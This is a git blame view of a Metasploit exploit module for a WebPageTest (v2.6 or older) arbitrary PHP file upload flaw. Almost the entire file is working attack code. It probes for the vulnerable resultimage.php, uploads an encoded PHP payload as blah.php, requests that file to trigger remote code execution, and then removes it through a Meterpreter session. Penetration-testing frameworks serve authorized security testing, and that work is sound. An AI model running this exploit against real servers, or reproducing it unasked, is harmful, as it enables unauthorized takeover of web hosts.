Files
metasploit-gs/modules/exploits/multi/http/webpagetest_upload_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

133 lines
3.7 KiB
Ruby
Raw Normal View History

2012-07-31 13:31:06 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-07-31 13:31:06 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-07-31 13:31:06 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "WebPageTest Arbitrary PHP File Upload",
'Description' => %q{
This module exploits a vulnerability found in WebPageTest's Upload Feature. By
default, the resultimage.php file does not verify the user-supplied item before
2017-09-07 21:18:50 -04:00
saving it to disk, and then places this item in the web directory accessible by
2012-07-31 13:31:06 -05:00
remote users. This flaw can be abused to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'dun', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '83822'],
2012-07-31 13:31:06 -05:00
['EDB', '19790']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
2012-07-31 13:31:06 -05:00
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['WebPageTest v2.6 or older', {}]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-07-13',
2012-07-31 13:31:06 -05:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2019-08-02 09:41:10 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
])
self.needs_cleanup = true
2012-07-31 13:31:06 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
def check
peer = "#{rhost}:#{rport}"
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
2013-08-30 16:28:54 -05:00
2013-01-30 23:23:41 -06:00
res1 = send_request_raw({'uri'=>normalize_uri("#{base}/index.php")})
res2 = send_request_raw({'uri'=>normalize_uri("#{base}/work/resultimage.php")})
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
2012-08-04 11:05:38 -05:00
res2 and res2.code == 200
2014-01-21 13:03:36 -06:00
return Exploit::CheckCode::Appears
2012-07-31 13:31:06 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
def on_new_session(cli)
if cli.type != "meterpreter"
print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
2013-08-30 16:28:54 -05:00
begin
print_warning("Deleting: #{@target_path}")
cli.fs.file.rm(@target_path)
print_good("#{@target_path} removed")
rescue
print_error("Unable to delete: #{@target_path}")
end
2012-07-31 13:31:06 -05:00
end
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
def exploit
peer = "#{rhost}:#{rport}"
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
p = payload.encoded
fname = "blah.php"
data = Rex::MIME::Message.new
data.add_part(
"<?php #{p} ?>", #Data is our payload
'multipart/form-data', #Content Type
nil, #Transfer Encoding
"form-data; name=\"file\"; filename=\"#{fname}\"" #Content Disposition
)
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Uploading payload (#{p.length.to_s} bytes)...")
2012-07-31 13:31:06 -05:00
res = send_request_cgi({
'method' => 'POST',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri("#{base}/work/resultimage.php"),
2012-07-31 13:31:06 -05:00
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
if not res
2016-02-01 15:12:03 -06:00
print_error("No response from host")
2012-07-31 13:31:06 -05:00
return
end
2013-08-30 16:28:54 -05:00
2013-01-30 23:23:41 -06:00
@target_path = normalize_uri("#{base}/results/#{fname}")
2016-02-01 15:12:03 -06:00
print_status("Requesting #{@target_path}")
2012-07-31 13:31:06 -05:00
res = send_request_cgi({'uri'=>@target_path})
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
handler
2013-08-30 16:28:54 -05:00
2012-07-31 13:31:06 -05:00
if res and res.code == 404
2016-02-01 15:12:03 -06:00
print_error("Payload failed to upload")
2012-07-31 13:31:06 -05:00
end
end
2012-08-04 11:05:38 -05:00
end